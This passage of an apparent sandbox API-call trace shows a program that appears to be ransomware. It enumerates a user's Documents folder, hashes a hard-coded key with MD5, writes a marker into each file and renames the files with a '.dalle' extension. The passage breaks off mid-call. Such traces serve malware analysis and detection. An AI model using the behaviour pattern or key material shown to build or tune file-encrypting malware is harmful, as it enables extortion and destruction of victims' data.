Size=0x20) returned 0x3022ab0 [0122.620] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.620] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.620] PathFindFileNameW (pszPath="") returned="" [0122.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.620] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\sx6 WWNEtkP28pvoC\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14da6670, ftCreationTime.dwHighDateTime=0x1d4ceef, ftLastAccessTime.dwLowDateTime=0xe3727880, ftLastAccessTime.dwHighDateTime=0x1d4d1db, ftLastWriteTime.dwLowDateTime=0xe3727880, ftLastWriteTime.dwHighDateTime=0x1d4d1db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.622] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14da6670, ftCreationTime.dwHighDateTime=0x1d4ceef, ftLastAccessTime.dwLowDateTime=0xe3727880, ftLastAccessTime.dwHighDateTime=0x1d4d1db, ftLastWriteTime.dwLowDateTime=0xe3727880, ftLastWriteTime.dwHighDateTime=0x1d4d1db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.622] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x781b8400, ftCreationTime.dwHighDateTime=0x1d4cea2, ftLastAccessTime.dwLowDateTime=0x52e86000, ftLastAccessTime.dwHighDateTime=0x1d4d234, ftLastWriteTime.dwLowDateTime=0x52e86000, ftLastWriteTime.dwHighDateTime=0x1d4d234, nFileSizeHigh=0x0, nFileSizeLow=0xa879, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6WrvXBq4WxmL.odt", cAlternateFileName="6WRVXB~1.ODT")) returned 1 [0122.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x136) returned 0x6dab00 [0122.622] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\sx6 WWNEtkP28pvoC\\6WrvXBq4WxmL.odt") returned=".odt" [0122.622] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\sx6 WWNEtkP28pvoC\\6WrvXBq4WxmL.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\sx6 wwnetkp28pvoc\\6wrvxbq4wxml.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0122.623] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=43129) returned 1 [0122.623] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0122.624] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xa853, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.624] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0122.626] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0122.626] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xa879, lpOverlapped=0x0) returned 1 [0122.627] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.627] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0122.627] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.627] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.627] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0122.627] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0122.628] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0122.628] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0122.628] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0122.628] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0122.628] GetLastError () returned 0x0 [0122.628] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0122.628] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0122.628] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xa879, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.628] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0122.628] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0122.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0122.628] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3093fb8 [0122.628] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0122.628] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0122.628] CloseHandle (hObject=0x618) returned 1 [0122.630] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xf0) returned 0x2fee9b8 [0122.630] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x900) returned 0x3093b88 [0122.630] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\sx6 WWNEtkP28pvoC\\6WrvXBq4WxmL.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\sx6 wwnetkp28pvoc\\6wrvxbq4wxml.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\sx6 WWNEtkP28pvoC\\6WrvXBq4WxmL.odt.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\sx6 wwnetkp28pvoc\\6wrvxbq4wxml.odt.dalle")) returned 1 [0122.631] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a918ac0, ftCreationTime.dwHighDateTime=0x1d4d2b3, ftLastAccessTime.dwLowDateTime=0x964ad0, ftLastAccessTime.dwHighDateTime=0x1d4d570, ftLastWriteTime.dwLowDateTime=0x964ad0, ftLastWriteTime.dwHighDateTime=0x1d4d570, nFileSizeHigh=0x0, nFileSizeLow=0xf3d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lhiTt9 LMR2EF6hN.odp", cAlternateFileName="LHITT9~1.ODP")) returned 1 [0122.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x136) returned 0x6dab00 [0122.631] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\sx6 WWNEtkP28pvoC\\lhiTt9 LMR2EF6hN.odp") returned=".odp" [0122.631] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\sx6 WWNEtkP28pvoC\\lhiTt9 LMR2EF6hN.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\sx6 wwnetkp28pvoc\\lhitt9 lmr2ef6hn.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0122.631] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=62416) returned 1 [0122.632] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0122.633] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xf3aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.633] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0122.635] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0122.635] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xf3d0, lpOverlapped=0x0) returned 1 [0122.636] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.636] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0122.636] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.636] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.636] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0122.637] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0122.637] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0122.637] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0122.637] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0122.637] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0122.637] GetLastError () returned 0x0 [0122.637] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0122.637] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0122.638] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xf3d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.638] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0122.638] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0122.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0122.638] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3093fb8 [0122.638] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0122.638] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0122.638] CloseHandle (hObject=0x618) returned 1 [0122.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xf0) returned 0x2fee9b8 [0122.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x900) returned 0x3093b88 [0122.639] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\sx6 WWNEtkP28pvoC\\lhiTt9 LMR2EF6hN.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\sx6 wwnetkp28pvoc\\lhitt9 lmr2ef6hn.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\sx6 WWNEtkP28pvoC\\lhiTt9 LMR2EF6hN.odp.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\sx6 wwnetkp28pvoc\\lhitt9 lmr2ef6hn.odp.dalle")) returned 1 [0122.640] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x260b96a0, ftCreationTime.dwHighDateTime=0x1d4d18b, ftLastAccessTime.dwLowDateTime=0xd7059e90, ftLastAccessTime.dwHighDateTime=0x1d4cb57, ftLastWriteTime.dwLowDateTime=0xd7059e90, ftLastWriteTime.dwHighDateTime=0x1d4cb57, nFileSizeHigh=0x0, nFileSizeLow=0xc739, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Zk1KEVdjg.csv", cAlternateFileName="ZK1KEV~1.CSV")) returned 1 [0122.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x136) returned 0x6dab00 [0122.640] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\sx6 WWNEtkP28pvoC\\Zk1KEVdjg.csv") returned=".csv" [0122.640] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\sx6 WWNEtkP28pvoC\\Zk1KEVdjg.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\sx6 wwnetkp28pvoc\\zk1kevdjg.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0122.641] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=51001) returned 1 [0122.641] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0122.643] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xc713, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.643] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0122.644] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0122.644] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xc739, lpOverlapped=0x0) returned 1 [0122.645] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.645] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0122.645] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.645] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.645] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0122.646] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0122.646] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0122.646] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0122.646] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0122.646] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0122.646] GetLastError () returned 0x0 [0122.646] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0122.646] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0122.646] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xc739, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.646] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0122.646] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0122.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0122.646] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3093fb8 [0122.646] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0122.646] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0122.647] CloseHandle (hObject=0x618) returned 1 [0122.648] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xe0) returned 0x3019118 [0122.648] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8f0) returned 0x3093b88 [0122.648] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\sx6 WWNEtkP28pvoC\\Zk1KEVdjg.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\sx6 wwnetkp28pvoc\\zk1kevdjg.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\sx6 WWNEtkP28pvoC\\Zk1KEVdjg.csv.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\sx6 wwnetkp28pvoc\\zk1kevdjg.csv.dalle")) returned 1 [0122.649] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f4fe550, ftCreationTime.dwHighDateTime=0x1d4cf9b, ftLastAccessTime.dwLowDateTime=0xfcf02440, ftLastAccessTime.dwHighDateTime=0x1d4c61b, ftLastWriteTime.dwLowDateTime=0xfcf02440, ftLastWriteTime.dwHighDateTime=0x1d4c61b, nFileSizeHigh=0x0, nFileSizeLow=0x13038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zMnh8m1qSffqOBU79Ql.ods", cAlternateFileName="ZMNH8M~1.ODS")) returned 1 [0122.649] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.649] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x136) returned 0x6dab00 [0122.649] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\sx6 WWNEtkP28pvoC\\zMnh8m1qSffqOBU79Ql.ods") returned=".ods" [0122.649] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\sx6 WWNEtkP28pvoC\\zMnh8m1qSffqOBU79Ql.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\sx6 wwnetkp28pvoc\\zmnh8m1qsffqobu79ql.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0122.650] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=77880) returned 1 [0122.650] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0122.652] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x13012, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.652] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0122.653] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0122.653] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x13038, lpOverlapped=0x0) returned 1 [0122.654] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.654] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0122.654] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.654] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.654] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0122.655] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0122.655] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0122.655] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0122.655] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0122.655] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0122.655] GetLastError () returned 0x0 [0122.655] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0122.655] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0122.656] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x13038, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.656] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0122.656] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0122.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0122.656] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3093fb8 [0122.656] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0122.656] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0122.656] CloseHandle (hObject=0x618) returned 1 [0122.657] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x100) returned 0x2fee9b8 [0122.657] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x900) returned 0x3093b88 [0122.657] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\sx6 WWNEtkP28pvoC\\zMnh8m1qSffqOBU79Ql.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\sx6 wwnetkp28pvoc\\zmnh8m1qsffqobu79ql.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\sx6 WWNEtkP28pvoC\\zMnh8m1qSffqOBU79Ql.ods.dalle" (normalized: 